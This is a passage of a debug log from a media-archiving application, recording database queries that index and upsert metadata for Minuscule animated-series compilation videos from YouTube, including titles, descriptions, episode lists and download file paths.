45' Compilation/Wasp Belle | Minuscule 🍃 45' Compilation [Ks23sQgKGgQ].mkv", false, ~U[2025-07-05 18:00:54Z]] 00:54:32.425 [debug] QUERY OK source="sources" db=0.6ms idle=14.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:32.426 [debug] QUERY OK source="media_items" db=0.9ms idle=12.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-03 10:00:18Z], 4] 00:54:32.429 [debug] QUERY OK source="media_items" db=2.4ms idle=13.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Sleepless Night | S01E50\n00:04:38 | Love Story | S01E03\n00:09:27 | Nap Time | S01E14\n00:14:16 | A Bee’s Night Out | S01E51\n00:19:04 | Caterpillar Dream | S01E20\n00:23:53 | Sleeping In | S01E12\n00:28:43 | A Snail’s Dream | S01E11\n00:33:32 | City Caterpillar And Butterfly Of The Fields | S01E30\n00:38:15 | The Last Supper | S01E25\n00:43:05 | Leech | S01E73\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#love #moth #butterfly #sleep #insects #mating #soulmate #Minuscule #nature #ladybugs #animatedseries", "Sleepless Night | Minuscule 🍃 60' Compilation", "9b79cedb-9171-4a9b-bf9c-04b3ce505c84", "DhGXgrvRjNY", 2880, false, 4, "https://www.youtube.com/watch?v=DhGXgrvRjNY", 39, "/downloads/Miniscule Season 1/2025-07-03 Sleepless Night | Minuscule 🍃 60' Compilation/Sleepless Night | Minuscule 🍃 60' Compilation [DhGXgrvRjNY].mkv", false, false, false, [], 1, ~U[2025-07-03 10:00:18Z], ~U[2025-12-14 07:54:32Z], ~U[2025-12-14 07:54:32Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Sleepless Night | S01E50\n00:04:38 | Love Story | S01E03\n00:09:27 | Nap Time | S01E14\n00:14:16 | A Bee’s Night Out | S01E51\n00:19:04 | Caterpillar Dream | S01E20\n00:23:53 | Sleeping In | S01E12\n00:28:43 | A Snail’s Dream | S01E11\n00:33:32 | City Caterpillar And Butterfly Of The Fields | S01E30\n00:38:15 | The Last Supper | S01E25\n00:43:05 | Leech | S01E73\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#love #moth #butterfly #sleep #insects #mating #soulmate #Minuscule #nature #ladybugs #animatedseries", "Sleepless Night | Minuscule 🍃 60' Compilation", "DhGXgrvRjNY", 2880, false, 4, "https://www.youtube.com/watch?v=DhGXgrvRjNY", "/downloads/Miniscule Season 1/2025-07-03 Sleepless Night | Minuscule 🍃 60' Compilation/Sleepless Night | Minuscule 🍃 60' Compilation [DhGXgrvRjNY].mkv", false, ~U[2025-07-03 10:00:18Z]] 00:54:32.430 [debug] QUERY OK source="sources" db=0.5ms idle=15.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:32.432 [debug] QUERY OK source="media_items" db=0.9ms idle=7.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-24 06:00:36Z], 4] 00:54:32.435 [debug] QUERY OK source="media_items" db=2.1ms idle=7.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Infernal Anthill | S01E35\n00:04:19 | Ants | S01E02\n00:09:08 | The Dung Beetle Battle | S01E15\n00:13:54 | Goofing Off | S01E37\n00:18:34 | The Quest For The Pink Lollipop | S01E32\n00:23:15 | Rosy | S01E38\n00:27:57 | Totem | S01E28\n00:32:43 | The Bridge On The River Zzzzzzz | S01E18\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#competition #architecture #imagination #gravity #ants #sugar #garden #anthill #Minuscule #nature #insects #ladybugs #animatedseries", "The Infernal Anthill 🐜 Minuscule 🍃 45' Compilation", "ae2d620b-47a5-4d28-bf03-0c168b910aa2", "heiF55A_NBY", 2281, false, 4, "https://www.youtube.com/watch?v=heiF55A_NBY", 40, "/downloads/Miniscule Season 1/2025-06-24 The Infernal Anthill 🐜 Minuscule 🍃 45' Compilation/The Infernal Anthill 🐜 Minuscule 🍃 45' Compilation [heiF55A_NBY].mkv", false, false, false, [], 1, ~U[2025-06-24 06:00:36Z], ~U[2025-12-14 07:54:32Z], ~U[2025-12-14 07:54:32Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Infernal Anthill | S01E35\n00:04:19 | Ants | S01E02\n00:09:08 | The Dung Beetle Battle | S01E15\n00:13:54 | Goofing Off | S01E37\n00:18:34 | The Quest For The Pink Lollipop | S01E32\n00:23:15 | Rosy | S01E38\n00:27:57 | Totem | S01E28\n00:32:43 | The Bridge On The River Zzzzzzz | S01E18\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#competition #architecture #imagination #gravity #ants #sugar #garden #anthill #Minuscule #nature #insects #ladybugs #animatedseries", "The Infernal Anthill 🐜 Minuscule 🍃 45' Compilation", "heiF55A_NBY", 2281, false, 4, "https://www.youtube.com/watch?v=heiF55A_NBY", "/downloads/Miniscule Season 1/2025-06-24 The Infernal Anthill 🐜 Minuscule 🍃 45' Compilation/The Infernal Anthill 🐜 Minuscule 🍃 45' Compilation [heiF55A_NBY].mkv", false, ~U[2025-06-24 06:00:36Z]] 00:54:32.436 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=8.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:32.437 [debug] QUERY OK source="media_items" db=0.8ms idle=6.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-17 06:00:53Z], 4] 00:54:32.440 [debug] QUERY OK source="media_items" db=2.2ms idle=6.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Cruel World | S01E46\n00:04:48 | Halloween Paranoid | S01E43\n00:09:37 | Lettuce | S01E48\n00:14:24 | King Size Camembert | S01E45\n00:19:03 | The Ladybug | S01E01\n00:23:39 | The Last Supper | S01E25\n00:28:29 | The Noodle Battle | S01E70\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#centipede #chips #undergrowth #enemies #Halloween #paranoid #scare #Minuscule #nature #insects #ladybugs #animatedseries", "A Cruel World | Minuscule 🍃 40' Compilation", "20905d95-1bc5-4136-9058-aed172ed97da", "wSbFheN58Bg", 2014, false, 4, "https://www.youtube.com/watch?v=wSbFheN58Bg", 41, "/downloads/Miniscule Season 1/2025-06-17 A Cruel World | Minuscule 🍃 40' Compilation/A Cruel World | Minuscule 🍃 40' Compilation [wSbFheN58Bg].mp4", false, false, false, [], 1, ~U[2025-06-17 06:00:53Z], ~U[2025-12-14 07:54:32Z], ~U[2025-12-14 07:54:32Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Cruel World | S01E46\n00:04:48 | Halloween Paranoid | S01E43\n00:09:37 | Lettuce | S01E48\n00:14:24 | King Size Camembert | S01E45\n00:19:03 | The Ladybug | S01E01\n00:23:39 | The Last Supper | S01E25\n00:28:29 | The Noodle Battle | S01E70\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#centipede #chips #undergrowth #enemies #Halloween #paranoid #scare #Minuscule #nature #insects #ladybugs #animatedseries", "A Cruel World | Minuscule 🍃 40' Compilation", "wSbFheN58Bg", 2014, false, 4, "https://www.youtube.com/watch?v=wSbFheN58Bg", "/downloads/Miniscule Season 1/2025-06-17 A Cruel World | Minuscule 🍃 40' Compilation/A Cruel World | Minuscule 🍃 40' Compilation [wSbFheN58Bg].mp4", false, ~U[2025-06-17 06:00:53Z]] 00:54:32.441 [debug] QUERY OK source="sources" db=0.4ms idle=8.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:32.442 [debug] QUERY OK source="media_items" db=0.8ms idle=6.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-14 18:01:01Z], 4] 00:54:32.445 [debug] QUERY OK source="media_items" db=2.2ms idle=6.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Out Of A Tin Can | S01E65\n00:04:34 | O Tannenbaum | S01E71\n00:09:14 | Picnic | S01E24\n00:13:58 | United We Stand | S01E23\n00:18:25 | The Last Supper | S01E25\n00:23:14 | Some Weird Fly | S01E78\n00:27:44 | The Wild Bunch | S01E74\n00:32:23 | The Noodle Battle | S01E70\n00:36:58 | Insect High Velocity | S01E53\n00:41:36 | Caterpillar Dream | S01E20\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#spider #fly #trap #harmony #Christmas #strategy #Minuscule #nature #insects #ladybugs #animatedseries", "Out Of A Tin Can | Minuscule 🍃 55' Compilation", "9f5c49ab-e874-4d97-81b4-342ea8b0a24f", "y31VFXyNBTg", 2817, false, 4, "https://www.youtube.com/watch?v=y31VFXyNBTg", 42, "/downloads/Miniscule Season 1/2025-06-14 Out Of A Tin Can | Minuscule 🍃 55' Compilation/Out Of A Tin Can | Minuscule 🍃 55' Compilation [y31VFXyNBTg].mkv", false, false, false, [], 1, ~U[2025-06-14 18:01:01Z], ~U[2025-12-14 07:54:32Z], ~U[2025-12-14 07:54:32Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Out Of A Tin Can | S01E65\n00:04:34 | O Tannenbaum | S01E71\n00:09:14 | Picnic | S01E24\n00:13:58 | United We Stand | S01E23\n00:18:25 | The Last Supper | S01E25\n00:23:14 | Some Weird Fly | S01E78\n00:27:44 | The Wild Bunch | S01E74\n00:32:23 | The Noodle Battle | S01E70\n00:36:58 | Insect High Velocity | S01E53\n00:41:36 | Caterpillar Dream | S01E20\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#spider #fly #trap #harmony #Christmas #strategy #Minuscule #nature #insects #ladybugs #animatedseries", "Out Of A Tin Can | Minuscule 🍃 55' Compilation", "y31VFXyNBTg", 2817, false, 4, "https://www.youtube.com/watch?v=y31VFXyNBTg", "/downloads/Miniscule Season 1/2025-06-14 Out Of A Tin Can | Minuscule 🍃 55' Compilation/Out Of A Tin Can | Minuscule 🍃 55' Compilation [y31VFXyNBTg].mkv", false, ~U[2025-06-14 18:01:01Z]] 00:54:32.446 [debug] QUERY OK source="sources" db=0.5ms idle=8.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:32.447 [debug] QUERY OK source="media_items" db=0.9ms idle=6.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-10 06:00:45Z], 4] 00:54:32.462 [debug] QUERY OK source="media_items" db=14.3ms idle=6.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Convoy | S01E10\n00:04:41 | No Exit | S01E61\n00:09:20 | Hyperactive | S01E54\n00:14:01 | Insect High Velocity | S01E53\n00:18:40 | A Bee’s Night Out | S01E51\n00:23:28 | On Your Marks, get set, go ! | S01E75\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#bee #hive #convoy #honey #freedom #house #exit #Minuscule #nature #insects #ladybugs #animatedseries", "Convoy | Minuscule 🍃 35' Compilation", "3806a9b3-50b2-4e0a-977c-edb6cd4e0780", "wfQjMrRjzqc", 1728, false, 4, "https://www.youtube.com/watch?v=wfQjMrRjzqc", 43, "/downloads/Miniscule Season 1/2025-06-10 Convoy | Minuscule 🍃 35' Compilation/Convoy | Minuscule 🍃 35' Compilation [wfQjMrRjzqc].mp4", false, false, false, [], 1, ~U[2025-06-10 06:00:45Z], ~U[2025-12-14 07:54:32Z], ~U[2025-12-14 07:54:32Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Convoy | S01E10\n00:04:41 | No Exit | S01E61\n00:09:20 | Hyperactive | S01E54\n00:14:01 | Insect High Velocity | S01E53\n00:18:40 | A Bee’s Night Out | S01E51\n00:23:28 | On Your Marks, get set, go ! | S01E75\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#bee #hive #convoy #honey #freedom #house #exit #Minuscule #nature #insects #ladybugs #animatedseries", "Convoy | Minuscule 🍃 35' Compilation", "wfQjMrRjzqc", 1728, false, 4, "https://www.youtube.com/watch?v=wfQjMrRjzqc", "/downloads/Miniscule Season 1/2025-06-10 Convoy | Minuscule 🍃 35' Compilation/Convoy | Minuscule 🍃 35' Compilation [wfQjMrRjzqc].mp4", false, ~U[2025-06-10 06:00:45Z]] 00:54:32.463 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=20.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:32.465 [debug] QUERY OK source="media_items" db=1.0ms idle=19.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 10:01:49Z], 4] 00:54:32.468 [debug] QUERY OK source="media_items" db=2.2ms idle=19.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Bananas | S01E69\n00:04:38 | Goofing Off | S01E37\n00:09:19 | The Bridge On The River Zzzzzzz | S01E18\n00:14:06 | Totem | S01E28\n00:18:52 | The Shellproof Nut | S01E40\n00:23:41 | Cicadas’ Song | S01E16\n00:28:30 | The Quest For The Pink Lollipop | S01E32\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#bananas #ants #kitchen #sugar #rocks #nap #foreman #Minuscule #nature #insects #ladybugs #animatedseries", "Bananas | Minuscule 🍃 40' Compilation", "ac2031b0-cd51-470e-8ccb-9203b3d05536", "2NONjVZCJuE", 2022, false, 4, "https://www.youtube.com/watch?v=2NONjVZCJuE", 44, "/downloads/Miniscule Season 1/2025-06-05 Bananas | Minuscule 🍃 40' Compilation/Bananas | Minuscule 🍃 40' Compilation [2NONjVZCJuE].mkv", false, false, false, [], 1, ~U[2025-06-05 10:01:49Z], ~U[2025-12-14 07:54:32Z], ~U[2025-12-14 07:54:32Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Bananas | S01E69\n00:04:38 | Goofing Off | S01E37\n00:09:19 | The Bridge On The River Zzzzzzz | S01E18\n00:14:06 | Totem | S01E28\n00:18:52 | The Shellproof Nut | S01E40\n00:23:41 | Cicadas’ Song | S01E16\n00:28:30 | The Quest For The Pink Lollipop | S01E32\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#bananas #ants #kitchen #sugar #rocks #nap #foreman #Minuscule #nature #insects #ladybugs #animatedseries", "Bananas | Minuscule 🍃 40' Compilation", "2NONjVZCJuE", 2022, false, 4, "https://www.youtube.com/watch?v=2NONjVZCJuE", "/downloads/Miniscule Season 1/2025-06-05 Bananas | Minuscule 🍃 40' Compilation/Bananas | Minuscule 🍃 40' Compilation [2NONjVZCJuE].mkv", false, ~U[2025-06-05 10:01:49Z]] 00:54:32.469 [debug] QUERY OK source="sources" db=0.6ms idle=21.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:32.470 [debug] QUERY OK source="media_items" db=0.9ms idle=7.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-22 10:01:42Z], 4] 00:54:32.473 [debug] QUERY OK source="media_items" db=2.4ms idle=7.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: 